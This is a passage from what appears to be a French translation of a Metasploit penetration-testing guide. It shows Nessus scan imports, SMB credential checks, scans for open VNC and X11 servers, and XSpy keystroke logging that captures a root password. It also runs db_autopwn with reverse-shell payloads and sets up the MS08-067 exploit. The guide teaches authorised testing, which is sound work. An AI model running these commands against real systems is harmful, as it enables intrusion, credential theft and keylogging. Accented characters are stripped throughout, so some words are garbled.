Excutez db_vulns pour afficher les vulnrabilits trouves :
msf > db_vulns
Bien que cette analyse ait trouv beaucoup moins de vulnrabilits que
lors de lutilisation prcdente de NeXpose via linterface graphique
avec des informations dauthentification, vous devriez avoir
suffisamment de vulnrabilits ici pour avoir une longueur davance lors
de lexploitation du systme.
Scan avec Nessus
Le scanner de vulnrabilit Nessus de Tenable Security
(http://www.tenable.com/) est lun des scanners de vulnrabilit les plus
largement utiliss. Le plug-in Nessus de Metasploit permet de lancer des
scans et dextraire des informations partir de scans Nessus via la
console, mais dans lexemple qui suit, nous allons importer les rsultats du
scan de Nessus indpendamment. En utilisant Nessus 4.4.1 avec un Home
Feed libre, nous allons effectuer un scan contre la mme cible que nous
avons utilise tout au long de ce chapitre, avec des identifiants daccs
connus. Dans les premires tapes de ce test de pntration, plus vous
pouvez utiliser doutils pour affiner votre future attaque, mieux cest.
Configurer Nessus
Une fois que vous avez tlcharg et install Nessus, ouvrez votre
navigateur web et allez https://<youripaddress>:8834, acceptez
lavertissement de certificat et connectez-vous Nessus en utilisant les
informations dauthentification que vous avez cres lors de linstallation.
Vous devriez voir la fentre principale de Nessus (voir Figure 4.11).
Figure 4.11
La fentre principale de Nessus.
Lors de la connexion, vous verrez la section Reports o devraient figurer
des scans de vulnrabilit antrieurs. Dans la partie suprieure de
linterface, vous devriez voir longlet Scans, o vous pouvez crer et
afficher des tches de scan ; longlet Policies, o vous configurez Nessus
pour inclure diffrents plug-ins que vous souhaitez utiliser dans vos
scans ; longlet Users, o vous pouvez ajouter des comptes dutilisateurs
pour le serveur Nessus.
Crer une politique de scan Nessus
Avant de lancer un scan, vous devez dabord crer une politique de scan
Nessus. Dans longlet Policies, cliquez sur le bouton vert Add pour ouvrir
la fentre de configuration de la stratgie (voir Figure 4.12).
Figure 4.12
La configuration de la fentre Policies de Nessus.
Vous trouverez de nombreuses options disponibles, qui figurent dans la
documentation de Nessus.
1.Entrez un nom pour le scan (voir Figure 4.13). Nous allons
utiliser le nom The_Works dans notre exemple pour que
Nessus excute tous ses contrles. Puis cliquez sur NEXT.
2.Comme pour le scan NeXpose effectu prcdemment,
nous allons configurer ce scan de sorte utiliser les
informations dauthentification pour obtenir une image plus
complte des vulnrabilits prsentes sur le systme cible.
Entrez les informations de connexion pour votre systme
cible et cliquez sur Next.
Figure 4.13
Les paramtres gnraux de Nessus.
3.Sur la page des plug-ins, vous pouvez choisir dans une
grande varit de plug-ins Nessus pour Windows, Linux,
BSD, etc. Si vous savez que vous allez scanner uniquement
les systmes Windows, par exemple, vous pouvez
dslectionner un grand nombre de ces plug-ins pour votre
premire excution. Cliquez dans le coin infrieur droit sur
Enable All (voir Figure 4.14), puis cliquez sur Next.
Figure 4.14
Slection des plug-ins de scan de Nessus.
4.Ltape finale de la mise en place de la nouvelle stratgie
est la page Preferences. Ici, vous pouvez paramtrer Nessus
afin de ne pas scanner les priphriques sensibles tels que les
imprimantes rseau. Configurez-le pour stocker les rsultats
dans une base de donnes externe, fournir des identifiants, et
plus encore. Lorsque vous avez termin votre configuration,
cliquez sur Submit pour enregistrer la nouvelle stratgie,
laquelle doit tre affiche sous la rubrique Policies (voir
Figure 4.15).
Figure 4.15
La stratgie nouvellement ajoute dans Nessus.
Excuter un scan Nessus
Aprs avoir cr une politique de scan, vous tes prt configurer un
scan. Commencez par slectionner longlet Scans, puis cliquez sur le
bouton Add pour ouvrir la fentre de configuration du scan. La plupart
des configurations Nessus sont dfinies dans ses stratgies. Quand vous
mettez en place un scan, donnez-lui un nom, choisissez une stratgie puis
entrez les cibles analyser (voir Figure 4.16).
Figure 4.16
Configuration dun scan avec Nessus.
Dans notre exemple, nous ne scannons quun seul hte, mais vous
pourriez galement entrer des plages dadresses IP en notation CIDR ou
mme tlcharger un fichier contenant les adresses des cibles vises.
Lorsque vous tes satisfait de la configuration du scan, cliquez sur
Launch Scan.
Rapports Nessus
Une fois le scan termin, il napparat plus dans Scans, et vous devriez
trouver une nouvelle entre sous longlet Reports indiquant le nom du
scan, son statut et quand il a t mis jour. Slectionnez le rapport, puis
cliquez sur Browse pour ouvrir une page contenant un rsum du scan
mettant en exergue les niveaux de gravit des vulnrabilits trouves
(voir Figure 4.17).
Figure 4.17
Notre rapport de scan Nessus.
Note
Gardez lesprit que, cette analyse ayant t effectue avec des
informations dauthentification, Nessus trouvera de nombreuses
vulnrabilits, bien plus quil nen trouverait avec un scan sur une cible
anonyme.
Importer des rsultats dans le framework Metasploit
Maintenant, nous allons importer les rsultats dans le framework.
1.Cliquez sur le bouton Download Report de longlet Reports
pour enregistrer les rsultats sur votre disque dur. Le format
de fichier par dfaut pour ces rapports, .nessus, peut tre
analys par Metasploit. Cliquez sur Submit lorsque vous tes
invit slectionner le format par dfaut.
2.Chargez msfconsole, crez une base de donnes avec
db_connect et importez le fichier de rsultats Nessus en
entrant db_import suivi par le nom du fichier du rapport.
msf > db_import /tmp/nessus_report_Host_195.nessus
[*] Importing Nessus XML (v2) data
[*] Importing host 192.168.1.195
3.Pour vrifier que lhte scann et les donnes de
vulnrabilit ont t imports correctement, entrez db_hosts
comme illustr ci-aprs. Vous devriez obtenir une brve liste
avec ladresse IP de la cible, le nombre de services dtects
et le nombre de vulnrabilits trouves.

Hosts
=====
address svcs vulns
------- ---- -----
192.168.1.195 18 345
4.Pour obtenir une liste complte des donnes sur les
vulnrabilits qui ont t importes dans Metasploit, entrez
db_vulns sans paramtre, comme indiqu ici :
msf > db_vulns
[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10916 refs=OSVDB-755
name=NSS-10114 refs=CVE-1999-0524,OSVDB-94,CWE-200
name=NSS-11197 refs=CVE-2003-0001,BID-6535
la fin de votre pentest, vous crirez le rapport votre client en vous
aidant de toutes ces rfrences.
Scanner avec Nessus depuis Metasploit
Lorsque vous navez pas envie de quitter le confort de la ligne de
commande, vous pouvez utiliser le plug-in Nessus Bridge
(http://blog.zate.org/nessus-plugin-dev/), cr par Zate, au sein de
Metasploit. Il vous permet de contrler Nessus compltement depuis le
framework Metasploit, dexcuter des scans, dinterprter les rsultats et
de lancer des attaques bases sur les vulnrabilits identifies par Nessus.
1.Comme dans les exemples prcdents, dtruisez au
pralable la base de donnes existante avec la commande
db_destroy et crez-en une nouvelle en utilisant db_connect.
2.Chargez le plug-in Nessus en excutant load nessus,
comme indiqu ici :
msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > load nessus
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[+] Exploit Index - (/root/.msf3/nessus_index) - is valid.
[*] Successfully loaded plugin: Nessus
3.Lexcution de la commande nessus_help affiche toutes les
commandes que le plug-in peut supporter. Le plug-in Nessus
Bridge est lobjet dun dveloppement et dune mise jour
rgulire. Vous avez donc tout intrt vrifier
priodiquement loutput de help pour voir si de nouvelles
fonctionnalits ont t ajoutes.
4.Avant de commencer un scan avec Nessus Bridge, vous
devez dabord vous authentifier sur le serveur Nessus en
utilisant nessus_connect, comme indiqu ici :
msf > nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as dookie
[*] Authenticated
5.Comme pour la version graphique de Nessus, vous devez
lancer un scan laide dune stratgie dfinie par son
numro didentification. Pour lister les stratgies danalyse
disponibles sur le serveur, utilisez nessus_policy_list :
msf > nessus_policy_list
[+] Nessus Policy List

ID Name Comments
-- ---- --------
-4 Internal Network Scan
-3 Web App Tests
-2 Prepare for PCI DSS audits
-1 External Network Scan
2 The_Works
6.Prenez en note lID de la stratgie que vous souhaitez
utiliser pour votre scan, puis lancez une nouvelle analyse
avec nessus_scan_new suivi par le numro de la stratgie, le
nom de votre scan et ladresse IP de votre cible comme
illustr ci-aprs :
msf > nessus_scan_new
[*] Usage:
[*] nessus_scan_new <policy id> <scan name> <targets>
[*] use nessus_policy_list to list all available policies
msf > nessus_scan_new 2 bridge_scan 192.168.1.195
[*]
Creating scan from policy number 2, called "bridge_scan" and
scanning 192.168.1.195
[*]
Scan started. uid is d2f1fc02-3b50-4e4e-ab8f-
38b0813dd96abaeab61f312aa81e
7.Pendant que le scan est en cours, vous pouvez voir son
statut en excutant la commande nessus_scan_status. Lorsque
la sortie de cette commande rpond No Scans Running,
comme illustr ci-aprs, vous savez que votre analyse est
termine.
msf > nessus_scan_status
[*] No Scans Running.
8.Ensuite, vous pouvez lister les rapports danalyse
disponibles avec la commande nessus_report_list. Identifiez
lID du rapport importer, puis entrez nessus_report_get
pour tlcharger le rapport et limporter dans la base de
donnes de Metasploit automatiquement.
msf > nessus_report_list
[+] Nessus Report List
ID Name Status Date
-- ---- ------ ----
074dc984-05f1-57b1-f0c9-
2bb80ada82fd3758887a05631c1d
Host_195 completed
19:43
Mar
08
2011
d2f1fc02-3b50-4e4e-ab8f-
bridge_scan completed
09:37
Mar
09
2011

[*] You can:
[*]
Get a list of hosts from the report: nessus_report_hosts <report
id>
msf > nessus_report_get d2f1fc02-3b50-4e4e-ab8f-
[*]
importing d2f1fc02-3b50-4e4e-ab8f-
[*]
192.168.1.195 Microsoft Windows XP Professional (English)
Done!
[+] Done
9.Enfin, comme pour les autres fonctions dimportation, vous
pouvez utiliser db_hosts pour vrifier que les donnes du
scan ont t importes avec succs :

Hosts
=====

address svcs vulns
------- ---- -----
192.168.1.195 18 345
Maintenant que vous avez vu la variation des rsultats du scan avec deux
produits diffrents, vous comprenez mieux la ncessit dutiliser plus
dun outil pour vos scans. Il revient toujours au pentester dinterprter les
rsultats de ces outils automatiss et de les transformer en donnes
exploitables.
Bien que de nombreux scanners de vulnrabilit commerciaux soient
disponibles sur le march, vous ntes pas limit ces services. Pour
excuter une analyse spcifique pour une vulnrabilit sur le rseau,
Metasploit dispose de nombreux modules auxiliaires pouvant vous aider
accomplir ces tches.
Les modules Metasploit suivants ne sont que quelques exemples des
nombreux modules de scan auxiliaires inclus dans le framework. Profitez
de votre laboratoire pour sonder et explorer le plus grand nombre dentre
eux.
Valider des connexions SMB (Server Message Block)
Pour vrifier la validit dune combinaison nom dutilisateur et mot de
passe, utilisez le SMB Login Check Scanner afin de vous connecter une
plage dhtes. Comme on pouvait sy attendre, ce scan est bruyant et
visible, et chaque tentative de connexion sera affiche dans les logs de
chaque machine Windows quil rencontre.
Aprs avoir slectionn le module smb_login avec use, vous pouvez
excuter show_options pour voir les paramtres numrs dans la
colonne Required. Metasploit permet de spcifier un nom dutilisateur et
un mot de passe, une liste didentifiants et de mots de passe, ou une
combinaison des deux. Dans lexemple suivant, RHOSTS est rgl sur
une petite plage dadresses IP tandis quun nom dutilisateur et un mot de
passe sont configurs pour Metasploit pour essayer contre toutes les
adresses.
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options

Module options:

---- --------------- -------- -----------
PASS_FILE no
File containing
passwords, one
per line
RHOSTS yes
The target
address range or
CIDR identifier
RPORT 445 yes
Set the SMB
service port
SMBDomain WORKGROUP no SMB Domain
SMBPass password no SMB Password
SMBUser Administrator no SMB Username
THREADS 50 yes
The number of
concurrent
threads
USERPASS_FILE no
File containing
users and
passwords
separated by
space, one pair
per line
USER_FILE no
File containing
usernames, one
per line

msf auxiliary(smb_login) > set RHOSTS 192.168.1.150-155
RHOSTS => 192.168.1.170-192.168.1.175
msf auxiliary(smb_login) > set SMBUser Administrator
SMBUser => Administrator
msf auxiliary(smb_login) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_login) > run
[*] Starting host 192.168.1.154
[*] Starting host 192.168.1.150
[*] Starting host 192.168.1.152
[*] Starting host 192.168.1.151
[*] Starting host 192.168.1.153
[*] Starting host 192.168.1.155
[+]
192.168.1.155 - SUCCESSFUL LOGIN (Windows 5.1)
Administrator : s3cr3t
msf auxiliary(smb_login) >
Vous voyez une connexion russie avec lutilisateur Administrateur et un
mot de passe s3cr3t en . Parce que tous les postes de travail sont clons
partir dune image et dploys dans de nombreux environnements
dentreprise, le mot de passe administrateur peut tre le mme sur chacun
deux et vous donner accs tous les postes sur le rseau.
Recherche daccs VNC ouverts (Virtual Network Computing)
Le Virtual Network Computing (VNC) offre une interface graphique
des systmes distants dune manire semblable Remote Desktop de
Microsoft. Les installations VNC sont communes dans les entreprises car
elles fournissent une vue graphique dun serveur et des postes de travail.
VNC est souvent install pour rpondre un besoin temporaire puis
compltement oubli et non mis jour, crant alors une vulnrabilit
potentielle majeure. Le module VNC Authentication None, scanner
intgr Metasploit, recherche dans une plage dadresses IP les serveurs
VNC qui nont pas de mot de passe configur (qui acceptent
lauthentification None, autrement dit un mot de passe vide).
Habituellement, cette analyse ne sert rien, mais un bon pentester teste
chaque piste quand il recherche un moyen daccder un systme cible.
Note
Les rcents serveurs VNC nautorisent pas des mots de passe vides. Pour
en crer un dans votre laboratoire, utilisez les anciens serveurs VNC
comme RealVNC 4.1.1.
Le scanner VNC, comme la plupart des modules Metasploit auxiliaires,
est facile configurer et excuter. La seule configuration requise pour
vnc_none_auth est une adresse IP ou une plage dadresses IP analyser.
Il suffit de slectionner le module, de dfinir vos RHOSTS et THREADS,
si ncessaire, et de lexcuter, comme illustr ci-aprs :
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options

Module options:
---- ------- ------- -------- -----------
RHOSTS yes
or CIDR identifier
THREADS 1 yes
The number of
concurrent threads

msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(vnc_none_auth) > run
[*] 192.168.1.155:5900, VNC server protocol version : RFB 003.008
[*]
192.168.1.155:5900, VNC server security types supported :
None
[*]
192.168.1.155:5900, VNC server security types includes None,
free access!
msf auxiliary(vnc_none_auth) >
Si vous avez de la chance et si Metasploit trouve un serveur VNC sans
authentification , vous pouvez utiliser Back|Track vncviewer pour vous
connecter la machine cible sans mot de passe (voir Figure 4.18).
Figure 4.18
Connexion VNC sans authentification avec vncviewer.
Si vous pensez quun scan VNC risque dtre une perte de temps et que
vous ne trouverez jamais de systmes avec un serveur VNC ouvert,
dtrompez-vous. Lun des auteurs, lors dun pentest important qui
comprenait des milliers de systmes, a remarqu quun de ces systmes
avait un serveur VNC ouvert.
Pendant que lauteur tait connect au systme documentant sa trouvaille,
il a remarqu une activit sur le systme. Ctait pendant la nuit, sur un
systme o il tait peu probable de trouver un utilisateur non autoris.
Mme si ce nest pas toujours considr comme une pratique exemplaire,
lauteur a fait semblant dtre un autre intrus non autoris et a fait entrer
lintrus dans la conversation via le Notepad Lintrus na pas t trs
brillant et a dit lauteur quil avait scann de gros blocs de systmes la
recherche daccs VNC ouverts. Voici une partie de la conversation :
Auteur : Vous tes des tats-Unis ? Ou lextrieur du
pays ? Je connais quelques personnes au Danemark.
Attaquant : Je suis de Norvge en fait, h h, jai des parents
au Danemark.
Auteur : Tu tranes sur toutes les boards. Jen ai apprci
certaines, mais elles sont maintenant fermes.
Attaquant : Jai surtout tran sur des boards de
programmation, mais pas grand-chose dautre. a fait
longtemps que tes dans lhack ? Quel est ton ge dailleurs ?
Moi, jai 22 ans.
Auteur : a fait environ un an ou deux. Encore lcole.
16 ans. a me fait passer le temps.
Attaquant : Je nai pas t jusque-l. Moi aussi, je fais surtout
cela pour le plaisir, juste pour essayer de voir ce que je peux
faire, tester mes comptences. Jai crit le "VNC finder"
moi-mme dailleurs, jai trouv un grand nombre de
serveurs, mais cest le seul sur lequel je peux actuellement
me faire plaisir.
Auteur : Wow. Tu las crit en quoi ? Jpeux le tlcharger ?
Tas un lien ?
Attaquant : Il est crit dans un langage appel PureBasic,
mais ce nest pas encore prt tre publi, cest seulement
pour ma propre utilisation. Enfin, jpeux peut-tre le partager
quand mme, je peux uploader le code quelque part et te
permettre de le compiler. Si toutefois tu peux trouver un
compilateur de PureBasic sur des sites de warez :P
Auteur : Cest cool. Tu peux le mettre sur Pastebin depuis
IRC ? Comme a tu le postes anonymement moi jai jamais
fait PureBasic. Juste python et perl.
Attaquant : Laisse-moi voir, je vais chercher ce site pastebin
et luploader, laisse-moi quelques minutes, je serai dans le
coin.
Lattaquant a ensuite donn lauteur un lien vers une page pastebin
avec le code source complet pour le scanner VNC sur mesure dont il se
servait.
Scan pour trouver des serveurs X11 ouverts
Le scanner intgr Metasploit open_x11 est analogue au scanner
vnc_auth, il parcourt une plage dhtes la recherche de serveurs X11
qui permettent aux utilisateurs de se connecter sans authentification. Bien
que ces serveurs ne soient plus beaucoup utiliss de nos jours, nombre de
machines archaques continuent dutiliser des systmes dexploitation non
mis jour et dpasss. Comme vous lavez vu dans les deux exemples
prcdents, les anciens systmes sont souvent les plus vulnrables sur un
rseau.
Pour excuter le scanner open_x11, configurez-le simplement comme
vous le feriez avec la plupart des autres modules auxiliaires en
dfinissant les RHOSTS et, ventuellement, les valeurs THREADS.
Observez lexemple suivant. Notez que le scanner a trouv un serveur X
ouvert ladresse IP 192.168.1.23. Il sagit dune vulnrabilit grave, car
elle permet un attaquant dobtenir un accs non autoris au systme : le
systme X gre linterface graphique, y compris la souris et le clavier.
msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options

Module options:

Name
Current
Setting
----
------------
---
-------- -----------
RHOSTS yes
CIDR identifier
THREADS 1 yes
threads

msf auxiliary(open_x11) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(open_x11) > set THREADS 50
THREADS => 50
msf auxiliary(open_x11) > run
[*] Trying 192.168.1.1
[*] Trying 192.168.1.0
[*] Trying 192.168.1.2...
[*] Trying 192.168.1.29
[*] Trying 192.168.1.30
[*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc)
[*] Trying 192.168.1.31
[*] Trying 192.168.1.32

. . . SNIP . . .

[*] Trying 192.168.1.253
[*] Trying 192.168.1.254
[*] Trying 192.168.1.255
Pour voir ce quun attaquant pourrait faire avec une vulnrabilit de ce
genre, lancez le keystroke logging en utilisant loutil XSpy dans
Back|Track, comme ceci :
root@bt:/# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy# ./xspy -display 192.168.1.23:0 -delay
100

ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4s5w0rd
ifconfig
exit
Loutil XSpy sniff distance les frappes du clavier dune session du
serveur X et a captur un utilisateur excutant un SSH. Cela vous permet
alors de vous connecter en tant que root sur un systme distant. Les
vulnrabilits comme celles-ci peuvent tre rares, mais quand vous les
trouvez, elles sont extrmement prcieuses.
Faisons un rapide dtour par lexploitation. Loutil Autopwn de Metasploit
cible et exploite automatiquement un systme utilisant un port ouvert ou
utilise les rsultats dune analyse de vulnrabilit. Vous pouvez utiliser
Autopwn pour exploiter les rsultats de la plupart des scanners de
vulnrabilit, y compris NeXpose, Nessus et OpenVAS.
Par exemple, voici comment nous pourrions importer des rsultats issus de
Nessus pour cibler un systme et lautopwn. Crez une nouvelle base de
donnes avec db_connect et utilisez db_import pour importer le rapport
danalyse. Dans lexemple suivant, nous excutons db_autopwn avec une
srie de switches pour lancer des attaques contre toutes les cibles (e),
montrer tous les modules utiliss (t), utiliser un reverse shell payload (r),
slectionner des modules bass sur les vulnrabilits (x) et galement
bass sur des ports ouverts (p). Une fois db_autopwn lanc, Metasploit
commence lancer des exploits aux cibles. Les exploits russis
retournent un shell la machine attaquante.
msf > db_import /root/nessus.nbe
msf > db_autopwn e t r -x p

[*]
(1/72 [0 sessions]): Launching
exploit/windows/mssql/ms09_004_sp_replwritetovarbin against
192.168.33.130:1433...
[*]
(2/72 [0 sessions]): Launching exploit/windows/smb/psexec
against 192.168.33.130:445...
[*]
(3/72 [0 sessions]): Launching
exploit/windows/smb/ms06_040_netapi against
192.168.33.130:445...

. . . SNIP . . .

[*]
Transmitting intermediate stager for over-sized stage...(216
bytes)

[*]
Meterpreter session 1 opened (192.168.1.101:40912 ->
192.168.1.115:15991)
[*]
(72/72 [1 sessions]): Waiting on 2 launched modules to finish
execution...
[*]
(72/72 [1 sessions]): Waiting on 0 launched modules to finish
execution...
Pour ces scans, Autopwn a lanc 72 exploits et un a russi, comme
indiqu en . Cet exploit permet un accs complet la machine avec une
console Meterpreter qui sera dtaille au Chapitre 6.
Note
Une mise en garde importante : lorsque vous utilisez Autopwn, le systme
cible peut crasher ou perdre sa stabilit. Autopwn dispose de
fonctionnalits non exposes ici, comme la possibilit de slectionner
seulement les exploits extrmement bien classs, ce qui signifie quils
risquent trs peu de planter le systme ou service distant. Pour plus
dinformations sur son utilisation, entrez db_autopwn h.
5
Les joies de lexploitation
Sommaire
Lexploitation de base
Exploiter votre premire machine
Exploiter une machine Ubuntu
Bruteforcing de ports
Fichiers de ressources
Lexploitation est le point culminant de la carrire de nombreux
professionnels de la scurit. La possibilit de prendre le contrle total
sur une machine cible est un sentiment intense, bien que peut-tre un peu
effrayant. Mais mme si les techniques dexploitation ont un peu
progress au fil des ans, ladoption de diverses protections systme et
rseau ont rendu la tche de plus en plus ardue russir avec les exploits
de base. Dans ce chapitre, nous entrons dans les mthodes dattaque les
plus difficiles, en commenant avec les interfaces en ligne de commande
du framework Metasploit. La plupart des attaques et des personnalisations
prsentes utiliseront msfconsole, msfencode et msfpayload.
Avant de commencer exploiter des systmes, vous devez comprendre
quelques petites choses sur les tests de pntration et dexploitation. Au
Chapitre 1 nous avons prsent les mthodes de base de tests de
pntration. Au Chapitre 2 vous avez appris les bases du framework et ce
quil faut attendre de chaque outil. Au Chapitre 3, nous avons explor la
phase de collecte de renseignements, et au Chapitre 4, vous avez appris
ce quest lanalyse de vulnrabilit.
Dans ce chapitre, nous nous concentrons sur les bases de lexploitation.
Le but est de nous familiariser avec les diffrentes commandes
disponibles par le biais du framework, que nous allons excuter dans les
chapitres suivants. La plupart des attaques que nous allons voir se feront
via msfconsole, et vous aurez besoin dune solide comprhension de
msfconsole, msfpayload et msfencode afin de tirer le meilleur parti de ce
livre.
Le framework Metasploit contient des centaines de modules, et il est
presque impossible de se souvenir de tous. Excutez show partir de
msfconsole pour afficher tous les modules disponibles dans le
framework ; vous pouvez galement affiner votre recherche en
naffichant que certains types de modules comme on le verra aux
sections suivantes.
Msf> show exploits
Dans msfconsole, les exploits oprent contre les vulnrabilits que vous
dcouvrez au cours dun test de pntration. De nouveaux exploits sont
en cours dlaboration, et la liste va continuer crotre. Cette commande
affiche tous les exploits actuellement disponibles dans le framework.
Msf> show auxiliary
Les modules auxiliaires dans Metasploit peuvent tre utiliss pour un
large ventail de besoins. Ils peuvent fonctionner comme des scanners,
des modules de dni de service, des fuzzers et bien plus encore. Cette
commande va les afficher et lister leurs caractristiques.
Msf> show options
Les options contrlent divers paramtres ncessaires au bon
fonctionnement des modules du framework. Lorsque vous excutez show
options pendant quun module est slectionn, Metasploit affiche
uniquement les options qui sappliquent ce module particulier. Si aucun
module nest slectionn, entrer msf> show options affichera les options
globales disponibles, par exemple, vous pouvez paramtrer LogLevel
afin dtre plus prolixe quand vous effectuez une attaque. Vous pouvez
galement excuter la commande pour revenir en arrire une fois
lintrieur dun module.
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > back
msf >
La commande search est utile pour trouver une attaque spcifique, un
module auxiliaire ou un payload. Ainsi, si vous voulez lancer une attaque
contre SQL, vous pouvez chercher comme ceci :
msf > search mssql
[*] Searching loaded modules for pattern mssql...

Auxiliary
=========

Name
Disclosure
Date
Rank Description
----
-----------
----
---- -----------
admin/mssql/mssql_enum normal
Microsoft SQL
Server
Configuration
Enumerator
admin/mssql/mssql_exec normal
Microsoft SQL
Server xp_cmdshell
Command
Execution
admin/mssql/mssql_idf normal
Microsoft SQL
Server - Interesting
Data Finder
admin/mssql/mssql_sql normal
Microsoft SQL
Server Generic
Query
scanner/mssql/mssql_login normal
MSSQL Login
Utility
scanner/mssql/mssql_ping normal MSSQL Ping Utility
Exploits

. . . SNIP . . .
msf >
Ou, pour trouver spcifiquement la faille MS08-067 (un exploit li au ver
notoire Conficker qui a exploit une faiblesse dans le Remote Procedure
Call [RPC] Service), vous devez entrer la commande suivante :
msf > search ms08_067
[*] Searching loaded modules for pattern ms08_067...

Exploits ========

Name Rank Description
---- ---- -----------
windows/smb/ms08_067_netapi great
Microsoft Server Service
Relative Path Stack
Corruption
Puis, aprs avoir trouv un exploit (windows/smb/ms08_067_netapi), vous
pouvez charger le module trouv avec la commande use :
msf exploit(ms08_067_netapi) >
Notez que lorsque nous passons la commande use
windows/smb/ms08_067_netapi, le prompt de commande change :
Cela indique que nous avons choisi le module ms08_067_netapi et que les
commandes excutes sous cette invite seront effectues en vertu de cet
exploit.
Remarque
Vous pouvez effectuer un "search" ou un "use" tout moment dans un
exploit pour passer un autre exploit ou un module.
Maintenant, avec linvite qui reflte le module choisi, nous pouvons
entrer les "show options" pour afficher les options spcifiques de lexploit
MS08-067 :
msf exploit(ms08_067_netapi) > show options

Module options:

Name
Current
Setting
----
-------------
--
-------- -----------
RHOST yes The target address
SMBPIPE BROWSER yes
The pipe name to use (BROWSER,
SRVSVC)

Exploit target:

Id Name
-- ----
0 Automatic Targeting

Cette approche contextuelle pour accder aux options assure une
interface plus simple et permet de se concentrer uniquement sur les
options qui comptent cet instant.
Msf> show payloads
Nous avons vu au Chapitre 2 que les payloads sont des portions de code
propres la plateforme envoyes contre une cible. Comme pour show
options, lorsque vous excutez show payloads partir dune invite de
commande spcifique dun module, Metasploit affiche uniquement les
payloads qui sont compatibles avec ce module. Dans le cas des exploits
Microsoft Windows, ces payloads peuvent tre aussi simples quune
invite de commande sur la cible ou aussi complexes quune interface
graphique complte sur la machine cible. Pour voir une liste active des
payloads, excutez la commande suivante :
msf> show payloads
Cela vous montrera tous les payloads disponibles dans Metasploit.
Cependant, si vous tes situ sur un exploit particulier, vous ne verrez que
les payloads applicables lattaque. Par exemple, excuter show
payloads partir du prompt msf exploit(ms08_067_netapi) aboutirait la
sortie montre ci-dessous.
Dans lexemple prcdent, nous avons cherch le module MS08-067.
Maintenant, nous allons dcouvrir ses payloads en tapant show payloads.
Notez que, dans lexemple, seuls les payloads bass sur Windows sont
affichs. Metasploit identifiera gnralement le type de payloads qui
peuvent tre utiliss avec une attaque particulire.
msf exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

---- ---- -----------

. . . SNIP . . .

windows/shell/reverse_ipv6_tcp normal
Windows Command Shell,
Reverse TCP Stager (IPv6)
windows/shell/reverse_nonx_tcp normal
Reverse TCP Stager (No
NX or Win7)
windows/shell/reverse_ord_tcp normal
Reverse Ordinal TCP
Stager (No NX or Win7)
windows/shell/reverse_tcp normal
Reverse TCP Stager
windows/shell/reverse_tcp_allports normal
Reverse All-Port TCP
Stager
windows/shell_bind_tcp normal Windows Command Shell,
Bind TCP Inline
windows/shell_reverse_tcp normal
Reverse TCP Inline
Ensuite, nous entrons set payload windows/shell/reverse_tcp pour
slectionner le reverse_tcp payload. Quand nous entrons nouveau show
options, nous voyons que des options supplmentaires sont affiches :
msf exploit(ms08_067_netapi) > set payload
windows/shell/reverse_tcp payload => windows/shell/reverse_tcp

Module options:

Name
Current
Setting
----
------------
---
-------- -----------
SMBPIPE BROWSER yes
The pipe name to use
(BROWSER, SRVSVC)

Payload options (windows/shell/reverse_tcp):

Name
Current
Setting
----
------------
---
-------- -----------
EXITFUNC thread yes
Exit technique: seh, thread,
process
LHOST yes The local address
LPORT 4444 yes The local port
Lorsque le payload est slectionn en et que les options sont affiches
en , nous sommes en prsence de quelques options supplmentaires
dans la section du payload en , comme LHOST et LPORT. Dans cet
exemple, appel un reverse payload, vous pouvez configurer le payload
afin quil se connecte la machine attaquante une adresse IP et un
numro de port. Avec les reverse payloads, la connexion est provoque
par la machine cible qui se connecte lattaquant. Vous pouvez utiliser
cette technique pour contourner un NAT ou un pare-feu.
Nous allons configurer cet exploit la fois avec les options LHOST et
RHOST. LHOST, notre machine attaquante va recevoir une connexion
"retour" gnre par la machine cible (RHOST) sur le port TCP par
dfaut (4444).
Msf> show targets
Les modules listent souvent les cibles potentiellement vulnrables. Par
exemple, parce que la vulnrabilit cible par MS08-067 repose sur les
adresses mmoire codes en dur, lexploit est propre aux systmes
dexploitation avec des niveaux de patchs spcifiques, version de la
langue et implmentations de scurit (voir les dtails aux Chapitres 14
et 15). Utiliser la commande show targets au prompt msf MS08-067
affiche une liste de 60 exploits cibls (une partie seulement est illustre
dans lexemple ci-aprs). Le succs de lexploit dpendra de la version
de Windows que vous ciblez. Parfois, la dtection automatique ne
fonctionnera pas et pourrait mme dclencher le mauvais exploit, ce qui
mne gnralement un crash du service.
msf exploit(ms08_067_netapi) > show targets

Exploit targets:

Id Name
-- ----
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
Dans cet exemple, vous pouvez voir que lexploit liste Automatic
Targeting comme une option. Souvent, un module dexploit va tenter de
cibler le systme dexploitation automatiquement en fonction de la
version et slectionne un exploit bas sur les empreintes du systme.
Cependant, il est souvent prfrable didentifier lexploit appropri afin
dviter den dclencher un autre potentiellement destructeur.
Note
Cet exploit est particulirement capricieux, et il a du mal dterminer le
systme dexploitation. Si vous utilisez cet exploit, assurez-vous de
dterminer le systme dexploitation de la cible que vous utilisez en test
sur votre VM (Windows XP SP2).
Info
Lorsque la brve description dun module fourni par les commandes
show et search ne suffit pas, utilisez la commande info suivie par le nom
du module pour afficher toutes les informations, les options et les cibles
disponibles pour ce module :
msf exploit(ms08_067_netapi) > info
Set et unset
Toutes les options dun module Metasploit donn doivent tre dfinies ou
non dfinies, surtout si elles sont marques comme required ou yes.
Lorsque vous entrez dans show options, vous verrez des informations
